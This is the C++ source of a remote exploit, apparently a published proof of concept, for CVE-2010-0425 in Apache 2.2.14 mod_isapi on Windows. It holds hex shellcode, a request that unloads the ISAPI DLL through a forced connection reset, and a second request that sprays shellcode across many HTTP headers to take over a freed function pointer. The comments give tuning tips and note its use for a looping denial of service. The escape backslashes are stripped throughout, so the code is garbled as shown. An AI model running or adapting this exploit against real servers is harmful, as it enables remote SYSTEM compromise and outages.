Text : /*
* Apache 2.2.14 mod_isapi Dangling Pointer Remote SYSTEM Exploit
(CVE-2010-0425)
*
---------------------------------------------------------------------------
---
*
* Advisory: http://www.senseofsecurity.com.au/advisories/SOS-10-002
*
* Description:
* pwn-isapi.cpp exploits a dangling pointer vulnerabilty in Apache 2.2.14
mod_isapi.
* Due to the nature of the vulnerability, and exploitation method, DEP
should be limited to essential
* Windows programs and services. At worst, if DEP is enabled for the
Apache process, you could cause
* a constant DoS by looping this (since apache will automatically restart)
:)
*
* Note that the exploit code may need to be run multiple times before a
shell is spawned (70%
* success rate - tested on three different systems). Furthermore, the
exploit code may require
* modification to exploit this vulnerability on different platforms. This
is due to loaded memory
* references to the unloaded DLL (they will be different for each ISAPI
module). Do not test
* this code in a VM otherwise the code may fail to send the RESET packet
(something to do with
* VMware gracefully closing the connection, instead of sending a RESET
packet) - I didnt want
* to have to use raw packets on Windows.
*
* Shellcode Note:
* The shellcode writes "pwn-isapi" to "sos.txt" which
is created in the current working directory.
* Most operating systems should be supported by this shellcode. I've used
Skylined's method of finding
* the base address of kernel32.dll for Windows 7 and modified it so that
it will find the base
* address of msvcrt.dll instead. I've also added another check so that it
will be able to detect
* "msvcrt.dll" on Windows Server 2003 (this OS loads msvcrt.dll
in 5th position, and before this
* DLL string is read, another DLL (RPCRT4.dll) length is verifiied which
matches the length of
* msvcrt.dll. So the added check will verify the presents of "m"
before proceeding.
*
* Author:
* Brett Gervasoni (brettg [at] senseofsecurity.com.au)
*
* Copyright Sense of Security Pty Ltd 2010.
* http://www.senseofsecurity.com.au
*/
#include <iostream>
#include <windows.h>
#include <winsock.h>
#include <string>
#include <direct.h>
#pragma comment(lib, "wsock32.lib")
using namespace std;
#define SERVER_PORT 80
void header();
int createConnection(string targetAddr, int targetPort);
int sendTransmission(string message);
string recvTransmission();
void cleanUp();
WORD sockVersion;
WSADATA wsaData;
int sock;
struct sockaddr_in rserver;
int main(int argc, char *argv[])
{
string serverIP, isapiDLL;
string triggerVuln, payload;
char accept[171], referer[733], cookie[5376], random[7604],
postData[23379], footer[299];
//custom shellcode that writes "pwn-isapi" to
"sos.txt" in the current working directory
//Note: There are four NOPs at the end for padding. Not really needed.
char shellcode[] =
"x31xc0x31xc9x64x8bx71x30x8bx76x0cx8bx76x1cx8bx56x08x8b"
"x7ex20x8bx36x66x39x4fx14x75xf2x66xb9x01x6dx66x81xe9x94"
"x6cx66x39x0fx66x89xc1x75xe1x89xe5xebx71x60x8bx6cx24x24"
"x8bx45x3cx8bx54x05x78x01xeax8bx4ax18x8bx5ax20x01xebxe3"
"x34x49x8bx34x8bx01xeex31xffx31xc0xfcxacx84xc0x74x07xc1"
"xcfx0dx01xc7xebxf4x3bx7cx24x28x75xe1x8bx5ax24x01xebx66"
"x8bx0cx4bx8bx5ax1cx01xebx8bx04x8bx01xe8x89x44x24x1cx61"
"xc3xadx50x52xe8xaaxffxffxffx89x07x66x81xc4x0cx01x66x81"
"xecx04x01x66x81xc7x08x01x66x81xefx04x01x39xcex75xdexc3"
"xebx10x5ex8dx7dx04x89xf1x80xc1x0cxe8xcdxffxffxffxebx3b"
"xe8xebxffxffxffx6ex7cx2exe1x1ex3cx3fxd7x74x1ex48xcdx31"
"xd2x58x88x50x07xebx2fx31xd2x59x88x51x01xebx2ex51x50xff"
"x55x04xebx2cx31xd2x59x88x51x09xebx33x51x50x89xc6xffx55"
"x08x53xffx55x0cxe8xd1xffxffxffx73x6fx73x2ex74x78x74x4e"
"xe8xccxffxffxffx77x4exe8xcdxffxffxffxe8xcfxffxffxffx70"
"x77x6ex2dx69x73x61x70x69x4exe8xc8xffxffxffx90x90x90x90";
header();
if (argc < 3)
{
printf("usage: %s <ip> <DLL>n", argv[0]);
return 1;
}
serverIP = string(argv[1]);
isapiDLL = string(argv[2]);
//all these values could be set to 7601 + sizeof(shellcode)
//but mixing it up is good.
memset(accept, 'A', 170);
memset(referer, 'A', 732);
memset(cookie, 'A', 5375);
memset(random, 'A', 7603);
memset(postData, 'A', 23378);
memset(footer, 'A', 298);
triggerVuln = "POST /cgi-bin/" + isapiDLL + "
HTTP/1.0rn"
"User-Agent: AAAAAAAArn"
"Pragma: no-cachern"
"Proxy-Connection: Keep-Alivern"
"Host: " + serverIP + "rn"
"Content-Length: 40334rnrn" +
string(footer);
//Modify the below request if needed (depending on where your function
pointer is pointing)
//Do so by adding or removing headers. So if you want to hit a higher
function pointer,
//keep adding headers :)
//Note: If performing this blindly, try it a few times, change a bit, try
again.
//During testing i found that using a chunk of data the same size with the
same header name
//was more unreliable. In memory, large amounts of nulls are being placed
either side of the
//payload. Since the function pointer address was random, by slightly
mixing up the size of
//each header i would get better results.
payload = "POST /cgi-bin/" + isapiDLL + " HTTP/1.0rn"
"Accept: " + string(accept) + "rn"
"Referer: " + string(referer) + string(shellcode) +
"rn"
"From: " + string(cookie) + string(shellcode) + "rn"
"Utruvh-guiergher: " + string(cookie) + string(shellcode) +
"rn"
"Accept-Language:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Arn"
"Content-Type:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAArn"
"UA-CPU:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAArn"
"Pragma:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAArn"
"User-Agent:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAArn"
"Cookie: " + string(cookie) + string(shellcode) +
"rn"
"Host: " + serverIP + "rn"
"Proxy-Connection: Keep-Alivern"
"Okytuasd: " + string(cookie) + string(shellcode) +
"rn"
"Asdasdasdasdasd: " + string(random) + string(shellcode) +
"rn"
"Asdasda: " + string(random) + string(shellcode) +
"rn"
"Sewrwefbui: " + string(random) + string(shellcode) +
"rn"
"Qdfasdernu: " + string(random) + string(shellcode) +
"rn"
"Cdffew-asdf: " + string(random) + string(shellcode) +
"rn"
"Kuiytnb-Ehrf: " + string(cookie) + string(shellcode) +
"BBBB" + "rn"
"Lsfergjnuibubiu: " + string(cookie) + string(shellcode) +
"BBBB" + "rn"
"Baefrwerifnhu: " + string(cookie) + string(shellcode) +
"BBBB" + "rn"
"Zdsfno: " + string(cookie) + string(shellcode) +
"BBBB" + "rn"
"Psdfsafn: " + string(cookie) + string(shellcode) +
"BBBB" + "rn"
"Zefwefnuivre-sdf: " + string(cookie) + string(shellcode) +
"BBBB" + "rn"
"Ivre-sdf: " + string(cookie) + string(shellcode) +
"BBBB" + "rn"
"Yvasde-sdf: " + string(cookie) + string(shellcode) +
"BBBB" + "rn"
"Yuionbsdf: " + string(cookie) + string(shellcode) +
"BBBB" + "rn"
"Yasdasdasdf: " + string(cookie) + string(shellcode) +
"BBBB" + "rn"
"asdasdde-sdf: " + string(cookie) + string(shellcode) +
"BBBB" + "rn"
"Ertuioert-erf: " + string(cookie) + string(shellcode) +
"BBBB" + "rn"
"Content-Length: 25054rnrn" +
string(postData) + "CCCC" + string(shellcode) +
"BBBB" + string(footer);
//Setup connection
if (createConnection(serverIP, SERVER_PORT) == 1)
{
printf("- an error occurred connecting to the servern");
return 1;
}
printf("[+] Connected to %s.n", serverIP.c_str());
printf("[+] Setting socket data structure valuesn");
int iOptVal;
int aiOptVal;
struct linger linger_data;
//This is meant to set closesocket to do a "graceful close",
//however this is not the case when WSACancelBlockingCall() is called. A
RESET packet is
//sent as a result - Note that if in a vm, for some reason a RESET packet
does not get sent.
linger_data.l_onoff = 0;
linger_data.l_linger = 0;
setsockopt(sock, SOL_SOCKET, SO_LINGER, (char*)&linger_data,
sizeof(linger_data));
setsockopt(sock, SOL_SOCKET, SO_DONTLINGER, (char*)&linger_data,
sizeof(linger_data));
//Set SO_LINGER to 0 so WSACancelBlockingCall() will cause a RESET packet
to be sent
getsockopt(sock, SOL_SOCKET, SO_LINGER, (char*)&linger_data,
&iOptVal);
getsockopt(sock, SOL_SOCKET, SO_DONTLINGER, (char*)&linger_data,
&aiOptVal);
printf(" - SO_LINGER value is set to %ldn",
linger_data.l_onoff);
printf(" - SO_DONTLINGER value is set to %ldn",
linger_data.l_linger);
printf("[*] Triggering DLL unloadn");
sendTransmission(triggerVuln);
Sleep(2000); //Sleep for a bit, otherwise on first run a RESET packet
doesn't get sent.
WSACancelBlockingCall(); //Cause reset packet response
Sleep(2000); //The multiple Sleeps seem to break up stuff a bit, making it
more reliable...
closesocket(sock);
Sleep(2000);
WSACleanup();
Sleep(2000);
printf("[+] The DLL should be unloaded by nown");
//Reconnect to deliver payload
if (createConnection(serverIP, SERVER_PORT) == 1)
{
printf("- an error occurred connecting to the servern");
return 1;
}
printf("[*] Sending payloadn");
sendTransmission(payload);
cleanUp();
printf("[+] Check to see if sos.txt was created...n");
return 0;
}
void header()
{
printf("Apache 2.2.14 mod_isapi Remote SYSTEM Exploit
(CVE-2010-0425)n");
printf("-------------------------------------------------------------
n");
printf(" Brett Gervasoni (brettg [at]
senseofsecurity.com.au)n");
printf(" Copyright Sense of Security Pty Ltd
2010.n");
}
//Setup the server
int createConnection(string serverIP, int port)
{
int result = 0, len = 0;
sockVersion = MAKEWORD(1,1);
WSAStartup(sockVersion, &wsaData);
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
perror("error: socket()n");
result = 1;
}
rserver.sin_family = AF_INET;
rserver.sin_port = htons(port);
rserver.sin_addr.s_addr = inet_addr(serverIP.c_str());
memset(&rserver.sin_zero, 0, 8);
len = sizeof(struct sockaddr_in);
if ((connect(sock, (struct sockaddr *)&rserver, sizeof(struct
sockaddr_in))) == -1)
{
perror("error: connect()n");
result = 1;
}
return result;
}
//Send a message
int sendTransmission(string message)
{
int bytes_sent = 0;
bytes_sent = send(sock, message.c_str(), message.length(), 0);
if (bytes_sent < 0)
{
perror("error: send()n");
exit(1);
}
return bytes_sent;
}
//Receive a message
string recvTransmission()
{
string result;
char *c = new char[1];
int bytes_recv = 0;
while (c[0] != NULL)
{
bytes_recv = recv(sock, c, 1, 0);
if (bytes_recv < 0)
{
perror("error: recv()n");
//exit(1);
}
result += c[0];
}
return result;
}
//Clean up the connection
void cleanUp()
{
closesocket(sock);
WSACleanup();
}